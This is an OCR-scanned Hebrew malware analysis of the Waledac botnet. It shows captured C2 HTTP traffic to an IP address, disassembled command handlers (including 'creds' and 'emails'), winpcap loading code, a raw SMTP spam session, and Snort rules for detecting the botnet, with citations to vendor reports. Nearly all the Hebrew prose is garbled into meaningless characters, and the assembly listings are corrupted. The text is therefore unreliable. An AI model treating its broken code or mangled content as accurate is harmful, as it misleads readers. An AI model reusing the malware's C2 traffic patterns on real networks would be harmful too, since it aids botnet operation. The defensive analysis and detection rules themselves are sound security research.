NYI 'R - NTAYNN DX 112 N2 TN DY LMWK LTAY AI0N nIT XD N7Y NN D NIKAY [N
NNUN 17 .0NNR DMNAY7 N1 LT Y nnirt N9 nY7imn 7w niwpnn 75 0% 019 Lyinan
['2 XNAT? N'W-IT A'¥] 2D 7190 DN .NYR NIMDY DA 0'9¥N 11N - 10NN anit N7 ny72inn

onn anith n7w animn

,sudosecure 7 2pynn [111102 N7 NY7INN NMYPN N'R 10NN NIt 7270 1IRXN D Y7 W
'V AR (R2NNY ['ANT7 W' TIR DN N7 7w an-nt ANKY7? DA ,0W nY'aIn X7 17w 1T 7aR
'NI0'WWY yann 701 1R T NI NVRY NN XWIEN 7V 1200 'K 7aX ,0M0nn NX

-0'901 D'NMY 'TIPON QY 11'N'T ,N'TDOINN nuwNn miypn nN'NYny qQon

:domain-n NN 07190 D'NMYYN 7Y DAION D'NWN DN 7K - DMy M7 """ My e
OMXD 0K 0mv J"Ninann? nnong" 7190 NN VY ') .easyworldnews.com

JWN7 11207 FT2 NDTIVA 0Ny NN 7aRY Ty anir? ongorn

DN 27 NNAIT .0'TAVN D'ANIT? NISOI1 NIDIN D'¥'O9NN D'NIY 0N A7X - NN NYON MY e
2V 19N NN V1YY DTIRON 7V usabreakingnews.com :domain-n NNN D'2V1950 D'MYN

.NYI2 NOO0I1 NIDIN NXON TWOXYT? X' DNLVA ,N'¥nM ."NImIn"

DXNNQ domains-N N1'NAY7 27 D'Wl ,N'WURD - N7X D'NY MTIRONY7 Vaid D'01S 190N |'¥7 v
,['02 MYl N7X domains v "MIYTN NX" DN DA - NP2 1AW social engineering-n |''9N7?
1-n NN90on 721 N97nIMm 1 N190N TWKD) NS1.LOIDLEVE.COM - DNS 'MM¥ DNIX NKX 1j79'0 DNVI
(6 TVI

7¥ olvvo DN7 yajpy AN D'7'WO DR DN NA01 NYR D'-domain 17X NNIY N2'MD Nya
IX domain-n NX pINNY? NNWOX 'K MID - clientDeleteProhibited/clientTransferProhibited
D'AYNNN 0N M ,NN902 NIFT IR¥A X710 ,0'WTI' N1'R ."a01" nwyn'7i ,ni7va 'y avnk
.D'"INN DAYNN IX 10NN 'AWNN DN DXRNIEL,NIR DY T'P9N] D'YNYnn

:N2IND1 ,01"9Np '97 0'P72INNN ,waledac NI7'woa nNIWRN 0'-domain 7w 1aRN XIXN7 N1

http://www.shadowserver.org/wiki/uploads/Calendar/waledac _domains.txt

i Speaking Waledac, The Honeynet Project,
http://www.honeynet.org/node/348
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2171019

anIT - HTTP mivpa Yw xin 7990 nann .**nnsoa nwwnY 'oi7n% nwis Waledac-n 2171009
ANy % **+a veNd .0OK-n NITINA YT mn 7apnn yonnn anir? POST Nwpaa N Tavn
21019 W' pn NRY LAES Session Keys N97nn [pno 7y ,Niranio NITIVR N97Nna n7'NNn

.D'Taynn 0'NITE,0N0NNA NIXIN 1aynn xml ooiann (|9xin)

:(YX1m "X payload n) "onn% nw Tavn 2 nn'w? XnarT

POST /lsxg.png HTTP/1.1

Referer: Mozilla

Accept: */*

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla

Host: 60.244.196.128

Content-Length: 210

Cache-Control: no-cache

a=BAAAATay..

HTTP/1.1 200 OK

Server: nginx/0.6.34

Date: Thu, 30 Apr 2009 14:49:06 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.8

f6dBAAAEQY...

2% 0'wl .htm '¥a7 DY D2 NNIT NIYPA D077 ,png YalR? POST yX¥Ianw NIXYYT KD N1 ,0INKD
Mozilla 7'an Referer-n nTW - NY7INN 'IN'T? QUNN DNIXK IWAY'Y 0'9011 D'ANIN D''9OXRN 190N7
751 non X7) "a="-2 7'nnn payload-ni ,®w7an van nnn URL-n DX 790% Tyim K0 Tiva
NMIFAN NY2INN |2 DX NYAN] MIYPN 71 N077INY NTaIvN ,0aya 1ITOY 9D (NIyTINN

STay” TRONA NTRON N7¥X NY7INNY N1j7oN7 1IINIX NXR'AN NINNKRY 17Y

T2V NIAYN2 NI9X? N1 P 72X ,0NNKR INYXNY 19D MIYPNN XK NIY97 IN7¥n X7 myx?
NNYPNNN NIX N7'NNN PR TW2INNY 11'KY D .NMIMN 79 TN |N2'TAY DITRNNN 1N

NN NYTINN DX 1'RY UKD ,NTIVAN DNY7wa

004EE998 . 307CAE00 DD 0>; ASCII
"<Im><t>getkey</t><v>34</v><i>ac690c4e9536b11a2339a851fa6f1053</i><r>1</
r><props><p n="cert">----—- BEGIN CERTIFICATE---—-

MIIBvjCCASegAwIBAgIBADANBgkaghkiGOwOBAQQFADAIMQswWCQYDVQQGEWJIVSZEW
MBQGA1UEAXMNT3B1b1INTTCBHcmO1cDAeFwOwWOTASMTAYyMzUSMTRa" . . .

» Peer-to-peer botnets: A case study on Waledac, Lasse Trolle Borup, pg. 28-38
3 Request Headers in the HTTP protocol, W3,
http://www.w3.org/Protocols/HTTP/HTRQ Headers.html#z14
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LWTINN 9102 NTIVRN N9IXNYI 34 XIn XONAN 190nY ,getkey 210N nyTIN NN7w1 D 0O'RN

.0'NT DN Myld 772 Registry-1 X¥NI0 NT7 INIXK 11MIWN - NIIDAN NN V'9In i nTwa

NITREON 1210 DM20M DY NEnTo 7w N"IM 7RI NP YW Nt kYN VIS XIXNY N1

TN DN XN NITON n1an? N7 w'w TN NP TI'RN ,11NYX7 .0NMINLVNI DIYN

. SoFC 08
w77 46

. FF2485 B79542
~EB 3D

5 &8 3oFD4co
3es SF04C00

3 63 4BFD4CER

- <

5 63 48FD4CHD

3 68 S@FD4con

3 63 SoFD4CHB

3 63 64FD4CED
S

5 63 6CFD4CHN
74FD4CER
ES AS7FFOFF
3BCE

. C3
. 68954260

CH
JMP DWORD PTR DS: [EAX#*

P EAX, S
JA SHORT Copy_of_.B8@84295

Switch (cases 8..8)
95A7
4+4295B7 ]

PUSH Copy_of_.8@4CFD28 ASCII "getkey™; Case @ of switch BB42955C
JMP SHORT Copy_of_.B8@4295AC

PUSH Copy_of_.884CFD3G ASCII "first”; Case 1 of switch B@4295SC
JMP SHORT Copy_of_.B8@4295AC

PUSH Copy_of_.B8@4CFD3S ASCII "notify"”; Case 2 of switch B@42955C
JMP SHORT Copy_of_.B8@4295/C

USH Copy_of_.B84CFD46 ASCII "taskreq™; Case 3 of switch B@42955C
JMP SHORT Copy_of_.B884295AC

USH Copy_of_.B884CFD483 ASCII "words™; Case 4 of switch 8842955C
JMP SHORT Copy_of_.B@4295AC

USH Copy_of_.884CFDSE ASCII "taskrep”; Case § of switch B@42955C
JMP SHORT Copy_of_.B8@4295RC

USH Copy_of_.B84CFDSE ASCII "httpstats”; Case 6 of switch B@42955C
JMP SHORT Copy_of_.@@4295/C

PUSH Copy_of_.@84CFD64 ASCII "emails"; Case 7 of switch BB42955C
JMP SHORT Copy_of_.B884295AC

PUSH Copy_of_.@84CFDEC ASCII "creds”; Case 8 of switch B@42955C
JMP SHORT Copy_of_.B8@4295AC

PUSH Copy_of_.B884CFD74
MOV ECX,ESI

CALL Copy_of_.0@401S5E
MOY ERX,ESI

POP ECK

RETN

DD Copy_of_.08429568

ASCII "unknown command”; Default case of switch BB42955C

Switch table used at B@429561

.NNIX NYONI NYTIN 72pnn TIpn 2702 Y'oimy e N switch-case 7 N1an XIXN? N1 XD

NN '"2AN7 N7 X7 DIMivawn DitTnna YTvna 7ax L, NIRIYN DNTXNON NN AIpY? 1'01

JNIANINn

(downloader) niITinn 12N

nm 9y N7 N9 NN Nw2Inn Waledac YW n12im Ty N Nzt EFnnsinn ninsoa

NTIE9 7V 001N 7110190 .0N'I-'VIR NI'MNNI winpcap N¥5NY? D1 ,NXINN YAIRP? DIDTY Y'ON7?

7NN NKRN JPEG yalp TIN7I DWA7 17 TNAY ,00NN AWNNN Tavn Awnn? NN7YIY An'kNn

[IDTY 011 19101 72N ,|'PN NMINAN YaI7d NNO' AT YaIp
YN T2 X¥NIN NNo9N oy XOR T 7V [9¥In N1DINN
HTTP niwja 9% wireshark-2 Miwpnn miwMa wion
NNIX XN AT 2100900 NIAAN NNt nan 9y GET
NN MINMNDY usabreakingnews.com/win.jpeg NTIN%

:(*-Waledac-n [21m 101N 12D IT NAIIMNN ,WwN 78) D

7 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 18-25
*® W32.Waledac Threat Analysis, Symantec Security Response, pg. 12-14

19
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210 N1 77120 D Xyl K71, TINT Mnww 0TIipw RN waledac v nxann vap 1 diff npma
DI'X D'¥A7AN 770 2 PPNEnTo Yw neT T Y M an LTV UNNn PR DXN NINNY DNIK
N911 X'N ,N'ON' NJINI NID'NA N'RNIY ,NMINNN ' 27 MY IWURD N7V1 W TYUN .|IDTY 72 07N
770 TIIN7 N1 PRY 'R )21, Y270 9100 770 YXP7 0 OIWRD 10 LT 1mad 1101 winw 243KB
[I2TVY7 NIMNA 2 ATI9AN NTANN NIRINA 70N1'0 7Y N"ITA .NI'PN INYD MINNNIEYAIznn 121

:17¢ NIRYSN NITYIND NIX 1IXYN DYY MOl ,NXNN YAl NTNNMNA YNX NY9'N .‘mmamn

> 8B45 E8 MOU EAX,DWORD PTR SS:[EBP-181]
. 308438 LEA EAX,DWORD PTR DS: [EAX+ECK#41]
. 8139 EDEDEDED >I<glé ElgaRD PTR DS:[ERX], EDEDEDED

SBCE CHMP _ECK,ESI
~72 EF JB SHORT Copy_of_ .88448032

D)

o@c

MIZNN Y2l 117271 121XV DNT Yy "ED" nTnnnn oy XOR T 2 y¥Ian NiRysn ' NIX? N
22 .NIN9 T 00Ian NRENN MY 'O - nullsoft scriptable install system T '2v x¥1IW winpcap 1w
Waledac ninoon '9%7 .awnnn nuwpn? sniffing Ni7id' nawoaxnn nMvo Xin (winpcap) N1
%w nnonY? qoml *mMivpnn T D'Wnnwnn 7Y YTl NIKN0'0 NA'A IX? N2 Nwnnwn

MWireshark 1on NIt NNIWENN

QXY .N'DINN 7Y IXNN YA 'Y DR DRI D7D X71,0M90 NN NNNYY Y ravn

:TIP2 27 NION"NN IRXNI DYD'N D

. 22020364080 PUSHBCogt_oF . 884D365C [FlkeNaM“ = "wpcap.dll”
. FF1S 1@424B08| CALL DWORD PTR DS:[4B42181 LoadL ibraryA

. 85Ca TEST ERAX,EAX

. 8986 MOU DWORD PTR DS:CESII,EAX
.vBFS84 B7000000 JE Copy_of_.B0845385F

. 57 PUSH EDI
. 8B3D F2484B06 MOV EDI,DWORD PTR DS:[4B48FS] kernel32.GetProcAddress

. FFD? CALL EDI

. 2946 1@ MOU DWORD PTR
. SBoe MOY ERX, DWORD
. 68 AS364D88 |PUSH C

. S8
. FFD? CALL EDI

DS: [ESI+18],ERAX
PTR DS: [ESI]

_of_.0884036ARS

k

% . 68 68364008 |PUSH Copy_of_.884D3668 rocHamelrOrdinal = "pcap_f indal lde
' . 58 PUSH ERX [hH du Le

A . FFD? CALL EDI GetProcAddress

: . 8946 B4 MOU DWORD PTR DS:[ESI+41,ERX

: . 8BBs MOU EAX,DWORD PTR DS:[ESI]

5 . gg 7C364000 PUSH Copy_of .8840367C [rn jH?meDrDrdinal "pcap_freeallde
) - 1 wWu le

A . FFD? CRLL EDI GetProcAddress

3 . 8BBE MOV ECX,DWORD PTR DS:[ESI]

5 . 68 96364000 |PUSH Copy_of_.88403698 cNameOrOrdinal "pcap_open”

% s 51 PUSH ECX hn jul»

5 . 8946 83 MOU DWORD PTR DS:[ESI+21,ERX

: . FFD? CALL EDI GetProcAddress

@ . 8B16 MOV EDX,DWORD PTR DS:[ESI]

3 . 62 90364008 | PUSH Copy_ of _.8840369C cMameOrOrdinal "pcap_ loop”

[ . B2 PUSH EDX hn le>

5 . 8946 ac MOU DWORD PTR DS:[ESI+C],ERX

5 GetProcAddress

hModu Le

[FrocHameDrDrdinal
GetProcAddress

"pcap_compile”

NX |"XNY INX IX N 72T W' NRDD1,NMI90] WIN'WY NMUNN T2 Nn''ye 12D ,NINNYT |NY '9)

QX7 X7 NNY7 T2 NN1901 WIN'Y W' R7'NNDYT7NA DX - VYN DNIMN IT NO'Y .N2 YNANWNT7 NINWORND

3 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 20
0 \W32.Waledac Threat Analysis, Symantec Security Response, pg. 13

“ Hello Waledac, My Old Friend, Cisco Blog,
http://blogs.cisco.com/security/comments/hello_waledac_my old friend/
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NN 12 9'0InY7 X7 NN% ,N9011 N1DIN DY [IDTY ¥'9N7 D'NIIV 11D DX "W T¥NI ?y9INN yalp'? Nnix
7y qon .Tipa nnnnonn Waledac 7w Nison NiM7ITm NI71D' ' DRN DA DINNY N1 ?Tip0 "'y
XINN YA MIYPNN 7Y AT N19¥N7 NRIYND DT YaIp ¢ nw?nn n19¥nn Nno7ina )2
NNAYINY N1N7 110 P71 ,Waledac 7w nxINN Y272 [1I5TYN NAMD DX 1IRXN K7 D 'x7 ' q101Y

JITYN DR TIN7 NTIRP92 ny7InY

At WwWIT NN

nn'7wn
D™o1nN TNX 170N .“ny7imn nyon w1 ox90 YW D1vonp nx'on Waledac-w AXINN NiNo0a
17w MpNNN 0x90 7w n¥oNa npna ,Wireshark ™"y miwpnn 100 1 N L,10%w 0ipnn

D1IIPN-"N72 01017 112Y71 TYINN NIdNN NIX 7N17 107NN NIRT 1'RIY YN 20 X7 AT INRY7

:SPAM NN XNAIT 707 .29w ISP-n )27 2 TXD NWWNY 1PN DNNKY 027 Wi nan

220 mx6.dhs.gov ESMTP Postfix

HELO bzg-84-110-247-186.red.bezegint.net

250 mx6.dhs.gov

MAIL FROM:<>

250 2.1.0 Ok

RCPT TO:<cklin@dhs.gov>

250 2.1.5 0Ok

DATA

354 End data with <CR><LFEF>.<CR><LE>

Received: from bgz ([159.177.134.1047])

.by bzg-84-110-247-186.red.bezegint.net (8.13.1/8.13.1) with SMTP id
200904301750055542;

.Thu, 30 Apr 2009 17:50:49 -0800

Message-ID: <000501c9c9f6$be002c70$9fb18668Q@johnnybgz>
From: "Sadie Ortiz" <cm.846dt.h4151d4.r@fisco.it>

To: <cklin@dhs.gov>

Subject: Successful formula, for men, successful in love.
Date: Thu, 30 Apr 2009 17:49:54 -0800

MIME-Version: 1.0

Content-Type: text/plain;

.format=flowed;

2 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 29
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.charset="1is0-8859-1";

.reply-type=original

Content-Transfer-Encoding: 7bit

X-Priority: 3

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1158

Harder banging is real! http://ym.ugcacopce.com/

250 2.0.0 Ok: queued as E7AD82F788E3
QUIT

221 2.0.0 Bye

QUIT

702 DamRNY Department of Homeland Security-2 wnnwn? nnwa nyTinnw 137 27 o'wh Xa
NI7Y? NNow SPAM-N NIVTINN 121 270W X7 W' .07 A10n NIYTIN 107 D'WNNAX 17'YON KW

.D"0NIVIN 07D "T' 7V NNANNN DNYX smtp-n MY T 2V mona ny7inn

NXRNP NR? L7 N "MAIL FROM"-D DTUW RN DX90N 7¢ NIN'N 17aNNY 0'aN 01''9XN
NI7wNY NN NN K7Y D'MIVAYD 731 IR 71 IRYAY? IR 0T AT 73 smtp®-n jpma
JIUNIT NX9N NIRNAY 7V NIVTIN 7Y NI'DI01'R NIX7I7 NynnYt smtp 'MW wnwny 12T - AT

1720 2N 2N AT vZNnal

(o]}
2V NIN902 D'NIIT? NNXNNA NRT ,D'NI0YI NINNID 7w 7T [11an X¥N) L,IN7YY NIYVTINN byn ['an
17210 DNNR MPYY DNIwyn 7 ,NRT oY . “ninwin nivTina jira Y7 0Tvimn 01nan
Canadian -0 N'NIN DY D'AITAI 0*7X'X1 MAN'I 12202 NISINN D'Y'¥N D710 - NAIT '9IX *72V2 DNKY
NN 971 ,071va NiY'won Yarn ANIT NIMANN NNX NRT ,SPAMhaus Project 97 .Pharmacy

NIN2N INXY? NTYN DX RPN MK .07 N n'7'won -2009 11nvosoa 16-1 bnntwna

3 RFC821 - Simple Mail Transfer Protocol, http://www.fags.org/rfcs/rfc821.html
4 Infiltrating WALEDAC Botnet's Covert Operations, TrendMicro, pg. 27
** The 10 Worst ROKSO Spammers,
http://www.spamhaus.org/statistics/spammers.lasso
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- NTyn 7¢ SPAM-n NpIsn 2y niMiynyn nnpgon p'on? N3 117 ') 21 ,SPAM-n ni7'yoa
194 In%w1 AT Nl L NpnaY Ty SPAM NNYY YW NIpT N 0'NY I NI7'Ye NipT 16 XY
7'0N7 TWOK 'R ,ITn SPAM-N NN'™W NDWN1 ANYA AT NN DYTE NI'RY (DN 72T IRIT DIVTIN

AT PN

ny7Inn "'ty NMIYEN NIN'NN Uin'y - SNORT

nim'nn
1MONN IN'T 7V NOOoIANN NNX - D'AI0 YN NN 11X ,Nw1a Waledac ni?'wo nint? nn 7y
.SPAM-n NN*™7w 1''9XN 1IN'T 7V NO0IAN NIWNI 'MW 0190 I7I|7IUI'19|'1

:'n'1on I7I|7Il)|“l':)n nooinn nn'nnn

alert tcp SHOME NET any -> SEXTERNAL NET 80 (msg: "Waledac messages
detected: POSTing png files."; flow:to server,established;
content:"POST"; content:"Referer\: Mozilla"; pcre:"/\. (htm|png)/";
content:"a="; s1id:6666;)

NNRNN ,80 VOIS NRXI' MIYPN X' ON'NN X'N DR MIYPNN D N2NdN An'hnn N7'nn

YR ,NYN KR (IDNY NRTY? MIYPNN NIX 0'7'220 1INIX,[DN INKT? CHTTP Niyy¥nxd MIYpn?

-0 NTY L,POST NIYRA - NXXAY DIMONAN '97 [DINN NIX 207 DNIUN D'ONAN N .0RIN NDY
_n

M"a="-2 yalpn nnmoI ,0'¥apn Ninro ,A1Nn Referer

:SPAM NN'7w Nooian Nn'NNn

alert tcp SHOME NET any -> S$EXTERNAL NET 25 (msg: “Waledac messages
detected: sending SPAM."; flow:to server,established; content:"MAIL
FROM:<>"; s1d:6666;)

MIYPNN NIX 02101 1INIX .OPIN D20W WP, MWD (1D ,NRXI' TIYPN Q1YW DA™ DNIX XD
|"¥7 ¢ .7 MAIL FROM-nN DTYUW 1N RID NN'MNN 27 .SMTP MIYPN NXTY XTI? T ,0019 '9Y
1901 v' SMTP MY |2 MIYPNL N'M'0'A7 KD LIT NIANINN DY NI N72am 1T nnfnny
17¢ qVORNN NTNA :Waledac 7w nwan 717105 X NINTAN NINY'R Snort NIN'MN 7w NINNAIT

NTANNAN 1T 2V noolann “hnnin Lasse Trolle Borup y'¥n

X-Request-Kind-Code: nodes

4 Peer-to-peer botnets: A case study on Waledac, Lasse Trolle Borup, pg. 52, Fig 5.27
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‘117w "7 NnIm Shadowserver Foundation T %y *njoion

alert tcp $HOME_NET any —> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN
Waledac Beacon Traffic Detected"; flow:to server,established;
content:"POST /"; depth:6; content:"|0d Oa|Referer\: Mozilla|0d Oal|";
nocase; within:50; content:"|0d Oa|User-Agent\: Mozilla|0d Oal|";
within:120; content:"a="; nocase; within: 100; classtype:trojan-
activity;reference:url,www.shadowserver.org/wiki/pmwiki.php?n=Calendar.2
0081231; s1d:2008958; rev:1;)

wI9'NN NIV DX 072200 within-I depth-n NITw 0N 1N7W% ona IT Nn'Nn ¥ NaIlwn N90IN

AT NK'N 49mxnw N9011 NN'NN .AN'MNN N7V90 N Snort 'WiIX'a NN NOW!

alert tcp $HOME_NET any —-> $EXTERNAL_NET $HTTP_PORTS (msg:"2009 Holiday
Greeting Spam - Unusual Referer String (Mozilla)";

flow:to server,established; content:"Referer\: Mozilla"; nocase;
classtype:trojan-activity; s1d:999999;)

.ANNN Referer-n NTYW 10T 7V X noonn IT Nn'nn

n"ion
AWKRD NO77nY MIYpNN Mt "'y 17¢ nimnnn ‘MY 2V 0R1ENn-'Ma 0110 1901 vy
.muw D 792 Waledac 7y ny'nn miIiwRIN Nn'fMNN .Nw? NNamnn ANt ny7imn

.OX90 NN7YW N7¢ NV7INN DNAY DA172 71 NYINN NIWN NRMNN

210N NIYINN 1212 NIAMNN OXN PITA7 DI 7Y 0720 MIYpEn 7V 1990 Dnimmnn DX XN 9011
X7 Mozilla-w nnxIN N'Pn HTTP niwpn ‘N2 D 7Y qon X7 |0 nnnnw' |, "false positive”
X7 ,012N MW DY W7 DTARI NIZNR-N72 DTIAYY 1MW 1INy |*x7 u' Referer-n NTw2a y'oIn

SN MIvpn v 1770 nim'mnin N 1M 19!

v Peer-to-peer botnets: A case study on Waledac, Lasse Trolle Borup, pg. 32, Fig 5.5

“8 \Waledac is Storm is Waledac? Peer-to-Peer over HTTP.. HTTP2p?, Shadowserver Foundation,
http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20081231

9 Fast Flux Greeting Card Spam, DISOG,
http://www.disog.org/2008/12/fast-flux-greeting-card-spam.html
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2V NI 015NN 120NN XXN1 DY ,NTIAWN N?'NN nya - www.nnl-labs.com - NNL Labs
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% Storm Bot-Net, Barak Nirenberg,
http://webcourse.cs.technion.ac.il/236349/Winter2009-2010/ho/WCFiles/project5-final-report.pdf
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>2 sysinternals, Microsoft, http://technet.microsoft.com/en-us/sysinternals/default.aspx
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> Writing Snort Rules: A Short Guide, The Shmoo Group,
http://www.shmoo.com/~bmc/presentations/2004/honeynet/caswell-writing-snort-rules.ppt
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e http://www.symantec.com/content/en/us/enterprise/media/security response/whitepapers

/W32 Waledac.pdf

e http://blogs.technet.com/b/microsoft on the issues/archive/2010/02/24/cracking-down-on-

botnets.aspx
e http://www.darkreading.com/security/news/211201114

e http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-

papers/wp infiltrating the waledac botnet v2.pdf

e http://en.wikipedia.org/wiki/Fast flux

e www.shadowserver.org

e www.sudosecure.net

e www.nnl-labs.com
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